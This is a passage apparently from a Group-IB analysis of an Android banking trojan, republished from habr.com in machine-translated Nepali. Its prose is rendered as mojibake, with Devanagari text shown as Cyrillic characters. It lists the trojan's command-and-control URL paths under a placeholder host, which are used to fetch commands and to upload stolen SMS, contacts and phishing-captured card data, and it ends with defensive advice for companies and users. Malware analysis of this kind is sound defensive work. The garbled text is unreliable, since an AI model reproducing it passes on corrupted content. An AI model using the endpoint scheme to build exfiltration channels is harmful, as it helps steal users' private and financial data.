  • http://<%CnC%>/api/v1/get.php - рдЖрджреЗрд╢ рдкреНрд░рд╛рдкреНрдд рдЧрд░реНрджреИред
  • http://<%CnC%>/api/v1/load_sms.php - рд╕рдВрдХреНрд░рдорд┐рдд рдЙрдкрдХрд░рдгрдмрд╛рдЯ рдПрд╕рдПрдордПрд╕ рд╕рдиреНрджреЗрд╢рд╣рд░реВ рдбрд╛рдЙрдирд▓реЛрдб рдЧрд░реНрджреИред
  • http://<%CnC%>/api/v1/load_ab.php - рд╕рдВрдХреНрд░рдорд┐рдд рдЙрдкрдХрд░рдгрдмрд╛рдЯ рд╕рдореНрдкрд░реНрдХрд╣рд░реВрдХреЛ рд╕реВрдЪреА рдЕрдкрд▓реЛрдб рдЧрд░реНрджреИред
  • http://<%CnC%>/api/v1/aevents.php - рдкреНрд░рд╛рдердорд┐рдХрддрд╛ рдлрд╛рдЗрд▓рдорд╛ рдЕрд╡рд╕реНрдерд┐рдд рдкреНрдпрд╛рд░рд╛рдорд┐рдЯрд░рд╣рд░реВ рдЕрджреНрдпрд╛рд╡рдзрд┐рдХ рдЧрд░реНрджрд╛ рдЕрдиреБрд░реЛрдз рдЧрд░рд┐рдиреНрдЫред
  • http://<%CnC%>/api/v1/set_card.php тАФ рдЧреБрдЧрд▓ рдкреНрд▓реЗ рдорд╛рд░реНрдХреЗрдЯрдХреЛ рд░реВрдкрдорд╛ рдлрд┐рд╕рд┐рдЩ рд╡рд┐рдиреНрдбреЛ рдорд╛рд╕реНрдХрд░реЗрдбрд┐рдЩ рдкреНрд░рдпреЛрдЧ рдЧрд░реЗрд░ рдкреНрд░рд╛рдкреНрдд рдбрд╛рдЯрд╛ рдЕрдкрд▓реЛрдб рдЧрд░реНрджреИред
  • http://<%CnC%>/api/v1/logs.php - рд▓рдЧ рдбрд╛рдЯрд╛ рдЕрдкрд▓реЛрдб рдЧрд░реНрджреИред
  • http://<%CnC%>/api/v1/records.php - рдлрд┐рд╕рд┐рдЩ рд╡рд┐рдиреНрдбреЛрдЬ рдорд╛рд░реНрдлрдд рдкреНрд░рд╛рдкреНрдд рдбрд╛рдЯрд╛ рдЕрдкрд▓реЛрдб рдЧрд░реНрджреИред
  • http://<%CnC%>/api/v1/set_error.php - рддреНрд░реБрдЯрд┐ рднрдПрдХреЛ рд╕реВрдЪрдирд╛ред

рд╕рд┐рдлрд╛рд░рд┐рд╕рд╣рд░реВ

рдЖрдлреНрдирд╛ рдЧреНрд░рд╛рд╣рдХрд╣рд░реВрд▓рд╛рдИ рдореЛрдмрд╛рдЗрд▓ рдЯреНрд░реЛрдЬрдирд╣рд░реВрдХреЛ рдЦрддрд░рд╛рдмрд╛рдЯ рдЬреЛрдЧрд╛рдЙрдирдХрд╛ рд▓рд╛рдЧрд┐, рдХрдореНрдкрдиреАрд╣рд░реВрд▓реЗ рдкреНрд░рдпреЛрдЧрдХрд░реНрддрд╛ рдпрдиреНрддреНрд░рд╣рд░реВрдорд╛ рдЕрддрд┐рд░рд┐рдХреНрдд рд╕рдлреНрдЯрд╡реЗрдпрд░ рд╕реНрдерд╛рдкрдирд╛ рдирдЧрд░реА рджреБрд░реНрднрд╛рд╡рдирд╛рдкреВрд░реНрдг рдЧрддрд┐рд╡рд┐рдзрд┐рд▓рд╛рдИ рдирд┐рдЧрд░рд╛рдиреА рдЧрд░реНрди рд░ рд░реЛрдХреНрди рдЕрдиреБрдорддрд┐ рджрд┐рдиреЗ рд╡реНрдпрд╛рдкрдХ рд╕рдорд╛рдзрд╛рдирд╣рд░реВ рдкреНрд░рдпреЛрдЧ рдЧрд░реНрдиреБрдкрд░реНрдЫред

рдпрд╕реЛ рдЧрд░реНрдирдХрд╛ рд▓рд╛рдЧрд┐, рдореЛрдмрд╛рдЗрд▓ рдЯреНрд░реЛрдЬрдирд╣рд░реВ рдкрддреНрддрд╛ рд▓рдЧрд╛рдЙрдирдХрд╛ рд▓рд╛рдЧрд┐ рд╣рд╕реНрддрд╛рдХреНрд╖рд░ рд╡рд┐рдзрд┐рд╣рд░реВрд▓рд╛рдИ рдХреНрд▓рд╛рдЗрдиреНрдЯ рд░ рдПрдкреНрд▓рд┐рдХреЗрд╕рди рджреБрд╡реИрдХреЛ рд╡реНрдпрд╡рд╣рд╛рд░рдХреЛ рд╡рд┐рд╢реНрд▓реЗрд╖рдг рдЧрд░реНрди рдкреНрд░рд╡рд┐рдзрд┐рд╣рд░реВрд╕рдБрдЧ рдмрд▓рд┐рдпреЛ рдмрдирд╛рдЙрди рдЖрд╡рд╢реНрдпрдХ рдЫред рд╕реБрд░рдХреНрд╖рд╛рдорд╛ рдбрд┐рдЬрд┐рдЯрд▓ рдлрд┐рдВрдЧрд░рдкреНрд░рд┐рдиреНрдЯ рдЯреЗрдХреНрдиреЛрд▓реЛрдЬреА рдкреНрд░рдпреЛрдЧ рдЧрд░реА рдЙрдкрдХрд░рдг рдкрд╣рд┐рдЪрд╛рди рдЧрд░реНрдиреЗ рдкреНрд░рдХрд╛рд░реНрдп рдкрдирд┐ рд╕рдорд╛рд╡реЗрд╢ рд╣реБрдиреБрдкрд░реНрдЫ, рдЬрд╕рд▓реЗ рдпреЛ рдмреБрдЭреНрди рд╕рдореНрднрд╡ рдмрдирд╛рдЙрдБрджрдЫ рдХрд┐ рдХрд╣рд┐рд▓реЗ рдЦрд╛рддрд╛ рдкреНрд░рдпреЛрдЧ рдЧрд░рд┐рдБрджреИрдЫ atypical рдЙрдкрдХрд░рдгрдмрд╛рдЯ рд░ рдкрд╣рд┐рд▓реЗ рдиреИ рдзреЛрдЦрд╛рдзрдбреАрдХреЛ рд╣рд╛рддрдорд╛ рдкрд░реЗрдХреЛ рдЫред

рдПрдХ рдореМрд▓рд┐рдХ рд░реВрдкрдорд╛ рдорд╣рддреНрддреНрд╡рдкреВрд░реНрдг рдмрд┐рдиреНрджреБ рдХреНрд░рд╕-рдЪреНрдпрд╛рдирд▓ рд╡рд┐рд╢реНрд▓реЗрд╖рдгрдХреЛ рдЙрдкрд▓рдмреНрдзрддрд╛ рд╣реЛ, рдЬрд╕рд▓реЗ рдХрдореНрдкрдиреАрд╣рд░реВрд▓рд╛рдИ рдЗрдиреНрдЯрд░рдиреЗрдЯрдорд╛ рдорд╛рддреНрд░ рд╣реЛрдЗрди, рддрд░ рдореЛрдмрд╛рдЗрд▓ рдЪреНрдпрд╛рдирд▓рдорд╛ рдкрдирд┐ рдЙрддреНрдкрдиреНрди рд╣реБрдиреЗ рдЬреЛрдЦрд┐рдорд╣рд░реВ рдирд┐рдпрдиреНрддреНрд░рдг рдЧрд░реНрди рдЕрдиреБрдорддрд┐ рджрд┐рдиреНрдЫ, рдЙрджрд╛рд╣рд░рдгрдХрд╛ рд▓рд╛рдЧрд┐, рдореЛрдмрд╛рдЗрд▓ рдмреИрдВрдХрд┐рдЩрдХрд╛ рд▓рд╛рдЧрд┐ рдЕрдиреБрдкреНрд░рдпреЛрдЧрд╣рд░реВрдорд╛, рдХреНрд░рд┐рдкреНрдЯреЛрдХрд░реЗрдиреНрд╕реАрд╣рд░реВ рд░ рдЕрдиреНрдп рдХреБрдиреИ рдкрдирд┐ рдард╛рдЙрдБрд╣рд░реВрдорд╛ рд▓реЗрдирджреЗрдирдХреЛ рд▓рд╛рдЧрд┐ред рд▓реЗрдирджреЗрди рдЧрд░реНрди рд╕рдХрд┐рдиреНрдЫ, рдЖрд░реНрдерд┐рдХ рд▓реЗрдирджреЗрдиред

рдкреНрд░рдпреЛрдЧрдХрд░реНрддрд╛рд╣рд░реВрдХреЛ рд▓рд╛рдЧрд┐ рд╕реБрд░рдХреНрд╖рд╛ рдирд┐рдпрдорд╣рд░реВ:

  • рдЧреБрдЧрд▓ рдкреНрд▓реЗ рдмрд╛рд╣реЗрдХ рдЕрдиреНрдп рдХреБрдиреИ рдкрдирд┐ рд╕реНрд░реЛрддрдмрд╛рдЯ рдПрдиреНрдбреНрд░реЛрдЗрдб рдУрдПрд╕ рднрдПрдХреЛ рдореЛрдмрд╛рдЗрд▓ рдЙрдкрдХрд░рдгрдХреЛ рд▓рд╛рдЧрд┐ рдЕрдиреБрдкреНрд░рдпреЛрдЧрд╣рд░реВ рд╕реНрдерд╛рдкрдирд╛ рдирдЧрд░реНрдиреБрд╣реЛрд╕реН, рдЕрдиреБрдкреНрд░рдпреЛрдЧрд▓реЗ рдЕрдиреБрд░реЛрдз рдЧрд░реЗрдХреЛ рдЕрдзрд┐рдХрд╛рд░рд╣рд░реВрдорд╛ рд╡рд┐рд╢реЗрд╖ рдзреНрдпрд╛рди рджрд┐рдиреБрд╣реЛрд╕реН;
  • рдирд┐рдпрдорд┐рдд рд░реВрдкрдорд╛ рдПрдиреНрдбреНрд░реЛрдЗрдб рдУрдПрд╕ рдЕрджреНрдпрд╛рд╡рдзрд┐рдХрд╣рд░реВ рд╕реНрдерд╛рдкрдирд╛ рдЧрд░реНрдиреБрд╣реЛрд╕реН;
  • рдбрд╛рдЙрдирд▓реЛрдб рдЧрд░рд┐рдПрдХрд╛ рдлрд╛рдЗрд▓рд╣рд░реВрдХреЛ рд╡рд┐рд╕реНрддрд╛рд░рд╣рд░реВрдорд╛ рдзреНрдпрд╛рди рджрд┐рдиреБрд╣реЛрд╕реН;
  • рд╕рдВрджрд┐рдЧреНрдз рд╕реНрд░реЛрддрд╣рд░реВ рднреНрд░рдордг рдирдЧрд░реНрдиреБрд╣реЛрд╕реН;
  • SMS рд╕рдиреНрджреЗрд╢рд╣рд░реВрдорд╛ рдкреНрд░рд╛рдкреНрдд рд▓рд┐рдЩреНрдХрд╣рд░реВрдорд╛ рдХреНрд▓рд┐рдХ рдирдЧрд░реНрдиреБрд╣реЛрд╕реНред

рд╕реНрдЯрд╛рд░рд┐рдЩ рд╕реЗрдорд┐рдпреЛрди рд░реЛрдЧрд╛рдЪреЗрд╡рд╛, Group-IB рдХрдореНрдкреНрдпреБрдЯрд░ рдлреЛрд░реЗрдиреНрд╕рд┐рдХ рдкреНрд░рдпреЛрдЧрд╢рд╛рд▓рд╛рдорд╛ рдорд╛рд▓рд╡реЗрдпрд░ рдЕрдиреБрд╕рдиреНрдзрд╛рдирдорд╛ рдЬреВрдирд┐рдпрд░ рд╡рд┐рд╢реЗрд╖рдЬреНрдЮред

рд╕реНрд░реЛрдд: www.habr.com

рдПрдХ рдЯрд┐рдкреНрдкрдгреА рдердкреНрди